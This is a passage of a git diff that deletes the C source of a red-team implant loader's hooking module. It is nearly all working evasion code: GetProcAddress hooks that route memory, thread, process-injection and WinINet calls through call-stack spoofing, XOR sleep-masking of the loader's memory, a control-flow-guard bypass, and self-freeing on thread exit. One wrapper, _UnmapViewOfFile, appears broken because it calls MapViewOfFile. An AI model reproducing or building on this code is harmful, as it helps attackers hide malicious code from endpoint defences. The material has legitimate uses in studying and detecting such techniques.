0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(g_InternetOpenA); - call.argc = 5; - call.args[0] = (ULONG_PTR)(lpszAgent); - call.args[1] = (ULONG_PTR)(dwAccessType); - call.args[2] = (ULONG_PTR)(lpszProxy); - call.args[3] = (ULONG_PTR)(lpszProxyBypass); - call.args[4] = (ULONG_PTR)(dwFlags); - - return (HINTERNET)draugr(&call); -} - -HINTERNET WINAPI _InternetConnectA(HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(g_InternetConnectA); - call.argc = 8; - call.args[0] = (ULONG_PTR)(hInternet); - call.args[1] = (ULONG_PTR)(lpszServerName); - call.args[2] = (ULONG_PTR)(nServerPort); - call.args[3] = (ULONG_PTR)(lpszUserName); - call.args[4] = (ULONG_PTR)(lpszPassword); - call.args[5] = (ULONG_PTR)(dwService); - call.args[6] = (ULONG_PTR)(dwFlags); - call.args[7] = (ULONG_PTR)(dwContext); - - return (HINTERNET)draugr(&call); -} - -DWORD WINAPI _ResumeThread(HANDLE hThread) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$ResumeThread); - call.argc = 1; - call.args[0] = (ULONG_PTR)(hThread); - - return (DWORD)draugr(&call); -} - -HANDLE WINAPI _CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$CreateThread); - call.argc = 6; - call.args[0] = (ULONG_PTR)(lpThreadAttributes); - call.args[1] = (ULONG_PTR)(dwStackSize); - call.args[2] = (ULONG_PTR)(lpStartAddress); - call.args[3] = (ULONG_PTR)(lpParameter); - call.args[4] = (ULONG_PTR)(dwCreationFlags); - call.args[5] = (ULONG_PTR)(lpThreadId); - - return (HANDLE)draugr(&call); -} - -HANDLE WINAPI _CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$CreateRemoteThread); - call.argc = 7; - call.args[0] = (ULONG_PTR)(hProcess); - call.args[1] = (ULONG_PTR)(lpThreadAttributes); - call.args[2] = (ULONG_PTR)(dwStackSize); - call.args[3] = (ULONG_PTR)(lpStartAddress); - call.args[4] = (ULONG_PTR)(lpParameter); - call.args[5] = (ULONG_PTR)(dwCreationFlags); - call.args[6] = (ULONG_PTR)(lpThreadId); - - return (HANDLE)draugr(&call); -} - -HANDLE WINAPI _OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$OpenProcess); - call.argc = 3; - call.args[0] = (ULONG_PTR)(dwDesiredAccess); - call.args[1] = (ULONG_PTR)(bInheritHandle); - call.args[2] = (ULONG_PTR)(dwProcessId); - - return (HANDLE)draugr(&call); -} - -HANDLE WINAPI _OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$OpenThread); - call.argc = 3; - call.args[0] = (ULONG_PTR)(dwDesiredAccess); - call.args[1] = (ULONG_PTR)(bInheritHandle); - call.args[2] = (ULONG_PTR)(dwThreadId); - - return (HANDLE)draugr(&call); -} - -BOOL WINAPI _CloseHandle(HANDLE hObject) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$CloseHandle); - call.argc = 1; - call.args[0] = (ULONG_PTR)(hObject); - - return (BOOL)draugr(&call); -} - -HANDLE WINAPI _CreateFileMappingA(HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$CreateFileMappingA); - call.argc = 6; - call.args[0] = (ULONG_PTR)(hFile); - call.args[1] = (ULONG_PTR)(lpFileMappingAttributes); - call.args[2] = (ULONG_PTR)(flProtect); - call.args[3] = (ULONG_PTR)(dwMaximumSizeHigh); - call.args[4] = (ULONG_PTR)(dwMaximumSizeLow); - call.args[5] = (ULONG_PTR)(lpName); - - return (HANDLE)draugr(&call); -} - -LPVOID WINAPI _MapViewOfFile(HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$MapViewOfFile); - call.argc = 5; - call.args[0] = (ULONG_PTR)(hFileMappingObject); - call.args[1] = (ULONG_PTR)(dwDesiredAccess); - call.args[2] = (ULONG_PTR)(dwFileOffsetHigh); - call.args[3] = (ULONG_PTR)(dwFileOffsetLow); - call.args[4] = (ULONG_PTR)(dwNumberOfBytesToMap); - - return (LPVOID)draugr(&call); -} - -BOOL WINAPI _UnmapViewOfFile(LPCVOID lpBaseAddress) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$MapViewOfFile); - call.argc = 1; - call.args[0] = (ULONG_PTR)(lpBaseAddress); - - return (BOOL)draugr(&call); -} - -SIZE_T WINAPI _VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$VirtualQuery); - call.argc = 3; - call.args[0] = (ULONG_PTR)(lpAddress); - call.args[1] = (ULONG_PTR)(lpBuffer); - call.args[2] = (ULONG_PTR)(dwLength); - - return (SIZE_T)draugr(&call); -} - -BOOL WINAPI _DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$DuplicateHandle); - call.argc = 7; - call.args[0] = (ULONG_PTR)(hSourceProcessHandle); - call.args[1] = (ULONG_PTR)(hSourceHandle); - call.args[2] = (ULONG_PTR)(hTargetProcessHandle); - call.args[3] = (ULONG_PTR)(lpTargetHandle); - call.args[4] = (ULONG_PTR)(dwDesiredAccess); - call.args[5] = (ULONG_PTR)(bInheritHandle); - call.args[6] = (ULONG_PTR)(dwOptions); - - return (BOOL)draugr(&call); -} - -BOOL WINAPI _ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$ReadProcessMemory); - call.argc = 5; - call.args[0] = (ULONG_PTR)(hProcess); - call.args[1] = (ULONG_PTR)(lpBaseAddress); - call.args[2] = (ULONG_PTR)(lpBuffer); - call.args[3] = (ULONG_PTR)(nSize); - call.args[4] = (ULONG_PTR)(lpNumberOfBytesRead); - - return (BOOL)draugr(&call); -} - -BOOL WINAPI _WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$WriteProcessMemory); - call.argc = 5; - call.args[0] = (ULONG_PTR)(hProcess); - call.args[1] = (ULONG_PTR)(lpBaseAddress); - call.args[2] = (ULONG_PTR)(lpBuffer); - call.args[3] = (ULONG_PTR)(nSize); - call.args[4] = (ULONG_PTR)(lpNumberOfBytesWritten); - - return (BOOL)draugr(&call); -} - -DECLSPEC_NORETURN VOID WINAPI _ExitThread(DWORD dwExitCode) -{ - /* is cfg enabled? */ - BOOL cfgEnabled = CfgEnabled(); - - if (cfgEnabled) { - /* try to bypass it at NtContinue */ - if (BypassCfg(NTDLL$NtContinue)) { - cfgEnabled = FALSE; - } - } - - if (!cfgEnabled) - { - CONTEXT ctx; - memset(&ctx, 0, sizeof(CONTEXT)); - - ctx.ContextFlags = CONTEXT_ALL; - - HANDLE hTimerQueue = NULL; - HANDLE hNewTimer = NULL; - - hTimerQueue = KERNEL32$CreateTimerQueue(); - - if (KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(KERNEL32$RtlCaptureContext), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD)) - { - KERNEL32$Sleep(1000); - - if (ctx.Rip != 0) - { - HANDLE hHeap = KERNEL32$GetProcessHeap(); - PCONTEXT ctxFree = (PCONTEXT)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(CONTEXT) * 3); - - for (int i = 0; i < 3; i++) { - memcpy(&ctxFree[i], &ctx, sizeof(CONTEXT)); - } - - ctxFree[0].Rsp -= sizeof(PVOID); - ctxFree[0].Rip = (DWORD64)(KERNEL32$VirtualFree); - ctxFree[0].Rcx = (DWORD64)(g_layout.dll.baseAddress); - ctxFree[0].Rdx = (DWORD64)(0); - ctxFree[0].R8 = (DWORD64)(MEM_RELEASE); - - ctxFree[1].Rsp -= sizeof(PVOID); - ctxFree[1].Rip = (DWORD64)(KERNEL32$VirtualFree); - ctxFree[1].Rcx = (DWORD64)(g_layout.hooks.baseAddress); - ctxFree[1].Rdx = (DWORD64)(0); - ctxFree[1].R8 = (DWORD64)(MEM_RELEASE); - - ctxFree[2].Rsp -= sizeof(PVOID); - ctxFree[2].Rip = (DWORD64)(KERNEL32$VirtualFree); - ctxFree[2].Rcx = (DWORD64)(g_layout.pic.baseAddress); - ctxFree[2].Rdx = (DWORD64)(0); - ctxFree[2].R8 = (DWORD64)(MEM_RELEASE); - - KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(NTDLL$NtContinue), &ctxFree[0], 500, 0, WT_EXECUTEINTIMERTHREAD); - KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(NTDLL$NtContinue), &ctxFree[1], 500, 0, WT_EXECUTEINTIMERTHREAD); - KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(NTDLL$NtContinue), &ctxFree[2], 500, 0, WT_EXECUTEINTIMERTHREAD); - } - } - } - - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(g_ExitThread); - call.argc = 1; - call.args[0] = (ULONG_PTR)(dwExitCode); - - draugr(&call); -} - -BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$CreateProcessA); - call.argc = 10; - call.args[0] = (ULONG_PTR)(lpApplicationName); - call.args[1] = (ULONG_PTR)(lpCommandLine); - call.args[2] = (ULONG_PTR)(lpProcessAttributes); - call.args[3] = (ULONG_PTR)(lpThreadAttributes); - call.args[4] = (ULONG_PTR)(bInheritHandles); - call.args[5] = (ULONG_PTR)(dwCreationFlags); - call.args[6] = (ULONG_PTR)(lpEnvironment); - call.args[7] = (ULONG_PTR)(lpCurrentDirectory); - call.args[8] = (ULONG_PTR)(lpStartupInfo); - call.args[9] = (ULONG_PTR)(lpProcessInformation); - - return (BOOL)draugr(&call); -} - -HRESULT _CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID * ppv) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(g_CoCreateInstance); - call.argc = 5; - call.args[0] = (ULONG_PTR)(rclsid); - call.args[1] = (ULONG_PTR)(pUnkOuter); - call.args[2] = (ULONG_PTR)(dwClsContext); - call.args[3] = (ULONG_PTR)(riid); - call.args[4] = (ULONG_PTR)(ppv); - - return (HRESULT)draugr(&call); -} - -void applyxor(char * data, DWORD len) -{ - for (DWORD x = 0; x < len; x++) { - data[x] ^= xorkey[x % 128]; - } -} - -BOOL isWriteable(DWORD protection) -{ - if (protection == PAGE_EXECUTE_READWRITE || protection == PAGE_EXECUTE_WRITECOPY || protection == PAGE_READWRITE || protection == PAGE_WRITECOPY) { - return TRUE; - } - return FALSE; -} - -void xorsection(MEMORY_SECTION * section, BOOL mask) -{ - if (mask == TRUE && isWriteable(section->currentProtect) == FALSE) { - DWORD oldProtect = 0; - if (_VirtualProtect(section->baseAddress, section->size, PAGE_READWRITE, &oldProtect)) { - section->currentProtect = PAGE_READWRITE; - section->previousProtect = oldProtect; - } - } - - if (isWriteable(section->currentProtect)) { - applyxor(section->baseAddress, section->size); - } - - if (mask == FALSE && section->currentProtect != section->previousProtect) { - DWORD oldProtect; - if (_VirtualProtect(section->baseAddress, section->size, section->previousProtect, &oldProtect)) { - section->currentProtect = section->previousProtect; - section->previousProtect = oldProtect; - } - } -} - -void xorregion(MEMORY_REGION * region, BOOL mask) -{ - for (int i = 0; i < 5; i++) { - xorsection(®ion->sections[i], mask); - } -} - -void xormemory(BOOL mask) { - xorregion(&g_layout.dll, mask); -} - -VOID WINAPI _Sleep(DWORD dwMilliseconds) -{ - /* - * only xor and stack spoof if - * sleep is >= 1s - */ - - if (dwMilliseconds < 1000) { - KERNEL32$Sleep(dwMilliseconds); - return; - } - - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$Sleep); - call.argc = 1; - call.args[0] = (ULONG_PTR)(dwMilliseconds); - - xormemory(TRUE); - draugr(&call); - xormemory(FALSE); -} - -HMODULE WINAPI _LoadLibraryA(LPCSTR lpLibFileName) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(LoadLibraryA); - call.argc = 1; - call.args[0] = (ULONG_PTR)(lpLibFileName); - - return (HMODULE)draugr(&call); -} - -char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName) -{ - char * result = (char *)GetProcAddress(hModule, lpProcName); - - /* - * Check to see what function is being resolved. - * Note that lpProcName may be an ordinal, not a string. - */ - - if ((ULONG_PTR)lpProcName >> 16 == 0) { - /* it's an ordinal */ - return result; - } - - /* Look at the ones we want to hook */ - - /* Calculte function hash */ - DWORD h = hash((char *)lpProcName); - - if (h == GETPROCADDRESS_HASH) { - return (char *)_GetProcAddress; - } - else if (h == LOADLIBRARYA_HASH) { - return (char *)_LoadLibraryA; - } - else if (h == VIRTUALALLOC_HASH) { - return (char *)_VirtualAlloc; - } - else if (h == VIRTUALALLOCEX_HASH) { - return (char *)_VirtualAllocEx; - } - else if (h == VIRTUALPROTECT_HASH) { - return (char *)_VirtualProtect; - } - else if (h == VIRTUALPROTECTEX_HASH) { - return (char *)_VirtualProtectEx; - } - else if (h == VIRTUALFREE_HASH) { - return (char *)_VirtualFree; - } - else if (h == GETTHREADCONTEXT_HASH) { - return (char *)_GetThreadContext; - } - else if (h == SETTHREADCONTEXT_HASH) { - return (char *)_SetThreadContext; - } - else if (h == INTERNETOPENA_HASH) { - g_InternetOpenA = result; - return (char *)_InternetOpenA; - } - else if (h == INTERNETCONNECTA_HASH) { - g_InternetConnectA = result; - return (char *)_InternetConnectA; - } - else if (h == RESUMETHREAD_HASH) { - return (char *)_ResumeThread; - } - else if (h == CREATETHREAD_HASH) { - return (char *)_CreateThread; - } - else if (h == CREATEREMOTETHREAD_HASH) { - return (char *)_CreateRemoteThread; - } - else if (h == OPENPROCESS_HASH) { - return (char *)_OpenProcess; - } - else if (h == OPENTHREAD_HASH) { - return (char *)_OpenThread; - } - else if (h == CLOSEHANDLE_HASH) { - return (char *)_CloseHandle; - } - else if (h == CREATEFILEMAPPINGA_HASH) { - return (char *)_CreateFileMappingA; - } - else if (h == MAPVIEWOFFILE_HASH) { - return (char *)_MapViewOfFile; - } - else if (h == UNMAPVIEWOFFILE_HASH) { - return (char *)_UnmapViewOfFile; - } - else if (h == VIRTUALQUERY_HASH) { - return (char *)_VirtualQuery; - } - else if (h == DUPLICATEHANDLE_HASH) { - return (char *)_DuplicateHandle; - } - else if (h == READPROCESSMEMORY_HASH) { - return (char *)_ReadProcessMemory; - } - else if (h == WRITEPROCESSMEMORY_HASH) { - return (char *)_WriteProcessMemory; - } - else if (h == EXITTHREAD_HASH) { - g_ExitThread = result; - return (char *)_ExitThread; - } - else if (h == CREATEPROCESSA_HASH) { - return (char *)_CreateProcessA; - } - else if (h == SLEEP_HASH) { - return (char *)_Sleep; - } - else if (h == COCREATEINSTANCE_HASH) { - g_CoCreateInstance = result; - return (char *)_CoCreateInstance; - } - - return result; -} - -void go(IMPORTFUNCS * funcs, MEMORY_LAYOUT * layout) -{ - funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *)_LoadLibraryA; - funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress; - - if (layout != NULL) { - g_layout = *layout; - } - - initFrameInfo(); -} \ No newline at end of file diff --git a/udrl/src/hook.h b/udrl/src/hook.h deleted file mode 100644 index 3e6c4d2..0000000 --- a/udrl/src/hook.h +++ /dev/null @@ -1,422 +0,0 @@ -/* - * Copyright 2025 Daniel Duggan, Zero-Point Security - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include -#include "hash.h" -#include "proxy.h" -#include "memory.h" - -#define RBP_OP_INFO 0x5 -#define draugrArg(i) (ULONG_PTR)functionCall->args[i] - -#define memset(x, y, z) __stosb((unsigned char *)x, y, z); -#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z); - -DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID, SIZE_T, DWORD, DWORD); -DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE, LPVOID, SIZE_T, DWORD, DWORD); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID, SIZE_T, DWORD, PDWORD); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx (HANDLE, LPVOID, SIZE_T, DWORD, PDWORD); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree (LPVOID, SIZE_T, DWORD); -DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery (LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext (HANDLE, LPCONTEXT); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext (HANDLE, const CONTEXT *); -DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread (HANDLE); -DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); -DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread (HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); -DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess (DWORD, BOOL, DWORD); -DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread (DWORD, BOOL, DWORD); -DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread (DWORD); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE); -DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep (DWORD); -DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA (HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR); -DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile (HANDLE, DWORD, DWORD, DWORD, SIZE_T); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile (LPCVOID); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle (HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory (HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T *); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory (HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T *); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA (LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION); -DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA (LPCSTR); -DECLSPEC_IMPORT PRUNTIME_FUNCTION WINAPI KERNEL32$RtlLookupFunctionEntry (DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE); -DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue (); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer (PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG); -DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext (PCONTEXT); -DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap (); -DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc (HANDLE, DWORD, SIZE_T); -DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx (PULONG); -DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue (PCONTEXT, BOOLEAN); - -/* the proxy pic */ -DECLSPEC_IMPORT PVOID SpoofStub(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID); - -// God Bless Vulcan Raven. -typedef struct _STACK_FRAME { - LPCWSTR DllPath; - ULONG Offset; - ULONGLONG TotalStackSize; - BOOL RequiresLoadLibrary; - BOOL SetsFramePointer; - PVOID ReturnAddress; - BOOL PushRbp; - ULONG CountOfCodes; - BOOL PushRbpIndex; -} STACK_FRAME, * PSTACK_FRAME; - -typedef enum _UNWIND_OP_CODES { - UWOP_PUSH_NONVOL = 0, - UWOP_ALLOC_LARGE, - UWOP_ALLOC_SMALL, - UWOP_SET_FPREG, - UWOP_SAVE_NONVOL, - UWOP_SAVE_NONVOL_FAR, - UWOP_SAVE_XMM128 = 8, - UWOP_SAVE_XMM128_FAR, - UWOP_PUSH_MACHFRAME -} UNWIND_CODE_OPS; - -typedef unsigned char UBYTE; - -typedef union _UNWIND_CODE { - struct { - UBYTE CodeOffset; - UBYTE UnwindOp : 4; - UBYTE OpInfo : 4; - }; - USHORT FrameOffset; -} UNWIND_CODE, *PUNWIND_CODE; - -typedef struct _UNWIND_INFO { - UBYTE Version : 3; - UBYTE Flags : 5; - UBYTE SizeOfProlog; - UBYTE CountOfCodes; - UBYTE FrameRegister : 4; - UBYTE FrameOffset : 4; - UNWIND_CODE UnwindCode[1]; -} UNWIND_INFO, *PUNWIND_INFO; - -typedef struct _FRAME_INFO { - PVOID ModuleAddress; - PVOID FunctionAddress; - DWORD Offset; -} FRAME_INFO, * PFRAME_INFO; - -typedef struct _SYNTHETIC_STACK_FRAME { - FRAME_INFO Frame1; - FRAME_INFO Frame2; - PVOID pGadget; -} SYNTHETIC_STACK_FRAME, * PSYNTHETIC_STACK_FRAME; - -typedef struct { - PVOID function; - int argc; - ULONG_PTR args[10]; -} FUNCTION_CALL, * PFUNCTION_CALL; - -typedef struct _DRAUGR_FUNCTION_CALL { - PFUNCTION_CALL FunctionCall; - PVOID StackFrame; - PVOID SpoofCall; -} DRAUGR_FUNCTION_CALL, *PDRAUGR_FUNCTION_CALL; - -SYNTHETIC_STACK_FRAME g_stackFrame; - -void initFrameInfo() -{ - PVOID pModuleFrame1 = KERNEL32$GetModuleHandleA("kernel32.dll"); - PVOID pModuleFrame2 = KERNEL32$GetModuleHandleA("ntdll.dll"); - - g_stackFrame.Frame1.ModuleAddress = pModuleFrame1; - g_stackFrame.Frame1.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame1, "BaseThreadInitThunk"); - g_stackFrame.Frame1.Offset = 0x17; - - g_stackFrame.Frame2.ModuleAddress = pModuleFrame2; - g_stackFrame.Frame2.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame2, "RtlUserThreadStart"); - g_stackFrame.Frame2.Offset = 0x2c; - - g_stackFrame.pGadget = KERNEL32$GetModuleHandleA("KernelBase.dll"); -} - -BOOL getTextSectionSize(PVOID pModule, PDWORD pdwVirtualAddress, PDWORD pdwSize) -{ - PIMAGE_DOS_HEADER pImgDosHeader = (PIMAGE_DOS_HEADER)(pModule); - - if (pImgDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { - return FALSE; - } - - PIMAGE_NT_HEADERS pImgNtHeaders = (PIMAGE_NT_HEADERS)((UINT_PTR)pModule + pImgDosHeader->e_lfanew); - - if (pImgNtHeaders->Signature != IMAGE_NT_SIGNATURE) { - return FALSE; - } - - PIMAGE_SECTION_HEADER pImgSectionHeader = IMAGE_FIRST_SECTION(pImgNtHeaders); - - for (int i = 0; i < pImgNtHeaders->FileHeader.NumberOfSections; i++) - { - DWORD h = hash((char*)pImgSectionHeader[i].Name); - if (h == TEXT_HASH) - { - *pdwVirtualAddress = pImgSectionHeader[i].VirtualAddress; - *pdwSize = pImgSectionHeader[i].SizeOfRawData; - return TRUE; - } - } - - return FALSE; -} - -PVOID calculateFunctionStackSize(PRUNTIME_FUNCTION pRuntimeFunction, const DWORD64 imageBase) -{ - PUNWIND_INFO pUnwindInfo = NULL; - ULONG unwindOperation = 0; - ULONG operationInfo = 0; - ULONG index = 0; - ULONG frameOffset = 0; - - STACK_FRAME stackFrame; - memset(&stackFrame, 0, sizeof(stackFrame)); - - if (!pRuntimeFunction) { - return NULL; - } - - pUnwindInfo = (PUNWIND_INFO)(pRuntimeFunction->UnwindData + imageBase); - - while (index < pUnwindInfo->CountOfCodes) - { - unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp; - operationInfo = pUnwindInfo->UnwindCode[index].OpInfo; - - /* don't use switch as it produces jump tables */ - if (unwindOperation == UWOP_PUSH_NONVOL) - { - stackFrame.TotalStackSize += 8; - if (RBP_OP_INFO == operationInfo) { - stackFrame.PushRbp = TRUE; - stackFrame.CountOfCodes = pUnwindInfo->CountOfCodes; - stackFrame.PushRbpIndex = index + 1; - } - } - else if (unwindOperation == UWOP_SAVE_NONVOL) - { - index += 1; - } - else if (unwindOperation == UWOP_ALLOC_SMALL) - { - stackFrame.TotalStackSize += ((operationInfo * 8) + 8); - } - else if (unwindOperation == UWOP_ALLOC_LARGE) - { - index += 1; - frameOffset = 